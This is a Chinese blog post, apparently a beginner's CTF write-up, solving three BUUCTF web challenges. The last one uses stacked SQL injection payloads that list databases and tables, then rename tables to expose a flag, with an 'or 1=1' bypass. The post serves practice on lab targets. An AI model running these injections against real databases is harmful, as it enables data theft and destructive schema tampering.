首页 > 其他分享 >【CTF入门】BUUCTF Web刷题

【CTF入门】BUUCTF Web刷题

时间:2024-07-21 23:07:08浏览次数:15  
标签:Web BUUCTF flag cat CTF words SQL 1919810931114514 注入

【CTF入门】BUUCTF Web刷题

[极客大挑战 2019]EasySQL

打开网站,我们看到这个页面:

image-20240721174128441

又是SQL注入,做吐了,按思路来能输入的地方都是注入点,我们尝试注入:

image-20240721175006573

获得flag

image-20240721175014523

考点:SQL注入

[极客大挑战 2019]Havefun

打开网站,我们看到这个页面:

image-20240721175159533

我们看不出什么信息,首先观察一下网站的源码,我们在底部发现了注释的语句:

image-20240721175244030

$cat=$_GET['cat']

echo $cat;

if($cat=='dog'){

	echo 'Syc{cat_cat_cat}'

}

很简单的代码审计,我们GET请求名为“cat”的参数,当“cat”的值为“dog”时将会返回'Syc{cat_cat_cat}'字符串内容

得到flag:

image-20240721175533085

考点:查看源码信息收集、代码审计

[强网杯 2019]随便注

打开网站,我们看到这个页面:

image-20240721221506442

SQL注入,按照一般注入流程进行:

image-20240721221603449

确定是字符型注入,我们尝试联合查询,大部分命令被过滤了:

image-20240721221904939

因此我们使用堆叠注入:

1' ;show databases; #

image-20240721222732058

我们发现supersqli是网站搭载的数据库

1' ;show tables from supersqli; #

image-20240721222652858

1';show columns from `1919810931114514` #

image-20240721223229923

我们可以推测,正常的查询请求是在查询表“words”的内容

之后想要查询flag数据需要使用被过滤的命令,因此在这里使用以下思路:

在存有flag的“1919810931114514”表中添加一个id列内容为NULL

将"words"表改成其他名字

将存有flag的“1919810931114514”表改名为"words"

1';
alter table `1919810931114514` add(id int NULL);
rename table `words` to `xuejian`;
rename table `1919810931114514` to `words`;#

这里完了之后我们的flag表里面的值是显示不出来的因为id 是NULL所以用or 1=1语句前面的语句返回为假 后面的返回为真也是真

image-20240721225603317

考点:SQL堆叠注入、SQL表格偷梁换柱

标签:Web,BUUCTF,flag,cat,CTF,words,SQL,1919810931114514,注入
From: https://www.cnblogs.com/handsomexuejian/p/18315104

相关文章

  • JavaWeb MyBatis案例
    JAVAWEBMyBatis视频学习笔记MyBatis案例1环境准备1.1数据库准备1.2准备一个Brand实体类1.3准备测试用例1.4安装MyBatisX插件2编写接口2.1编写查询所有2.1.1编写Mapper接口2.1.2编写SQL映射文件2.1.3编写测试语句完成测试2.1.4BugFix2.2查看详情2.2.1编......
  • 基于WebGoat平台的SQL注入攻击
    目录引言一、安装好JAVA二、下载并运行WebGoat三、注册并登录WebGoat四、模拟攻击1.第九题2.第十题3.第十一题4.第十二题5.第十三题五、思考体会1.举例说明SQL 注入攻击发生的原因。2.从信息的CIA三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击......
  • MiniAuth 一个轻量 ASP.NET Core Identity Web 后台管理中间插件
    MiniAuth一个轻量ASP.NETCoreIdentityWeb后台管理中间插件「一行代码」为「新、旧项目」添加Identity系统跟用户、权限管理网页后台系统开箱即用,避免打掉重写或是严重耦合情况Github:https://github.com/mini-software/MiniAuth,Gitee:https://gitee.com/shps9510......
  • NSSCTF———Web(sql注入)
    [LitCTF2023]这是什么?SQL!注一下![SWPUCTF2022新生赛]ez_sql[GXYCTF2019]BabySqli                                     点击右下角文章可跳转[LitCTF2023]这是什么?SQL!注一下!首先我们打开......
  • DASCTF暑期挑战赛Reverse
    DosSnake8086汇编代码编写的一个贪吃蛇小游戏使用DosBox运行一下:直接拖进IDA查看汇编代码算了,由于这个程序只给了一个数据段,通过它找到代码加密逻辑(前面一大段的汇编代码都是为了实现贪吃蛇这个小游戏没啥用,我们直接看加密部分即可):逻辑非常简单,aDasctf的前6部分作为key,......
  • DASCTF 2024暑期挑战赛-WEB-Sanic's revenge gxngxngxn
    DASCTF-WEB-Sanic'srevengegxngxngxn写在开篇碎碎念在我上篇文章(https://www.cnblogs.com/gxngxngxn/p/18205235)的结尾,我分享了两点我在寻找污染链的过程中发现的一些新玩意。其中作为本题考点之一的file_or_directory就在其中,没看过的师傅可以看一眼(orz。而本题主要考点的......
  • 389.权志龙明星主题网页 大学生期末大作业 Web前端网页制作 html5+css+js
    欢迎光临仙女的网页世界!这里有Web前端网页制作的各行各业的案例,样式齐全新颖,并持续更新!感谢CSDN,提供了这么好的知识学习、技术交流的平台,让我们在这里相遇,小伙伴们,来吧,让我们一起开启Web前端网页制作的奇妙之旅!说起Web前端,大学开启这扇技术之门以来,一切起始于兴趣爱好和......
  • Debian12 AMD 显卡 7900XT 安装使用 stable-diffusion-webui 笔记
    简介由于AMD官方没有提供Debian12的驱动和ROCM,只好安装Ubuntu20.04的驱动和ROCM,必要软件git和python3-venv。添加i386仓库sudodpkg--add-architecturei386&&\sudoaptupgrade-y&&\aptupgrade-y下载驱动安装程序到AMD官网下载Ubuntu20.04驱动......
  • 深入浅出WebRTC—DelayBasedBwe
    WebRTC中的带宽估计是其拥塞控制机制的核心组成部分,基于延迟的带宽估计是其中的一种策略,它主要基于延迟变化推断出可用的网络带宽。1.总体架构1.1.静态结构1)DelayBasedBwe受GoogCcNetworkController控制,接收其输入并返回带宽估计值。2)DelayBasedBwe内部使用InterAr......
  • 1--Web安全、渗透测试、基础入门--数据包
    Web的组成架构模型1.网站源码2.操作系统windows,linux3.中间件(搭建平台)apache,tomcat等4.数据库access,mysql,oracle,sybase等Web相关安全漏洞1.Web源码类对应漏洞SQL注入,文件上传,XSS,代码执行,变量覆盖,逻辑漏洞,反序列化等2.Web中间件对应漏洞3.Web数据库对应漏洞4.......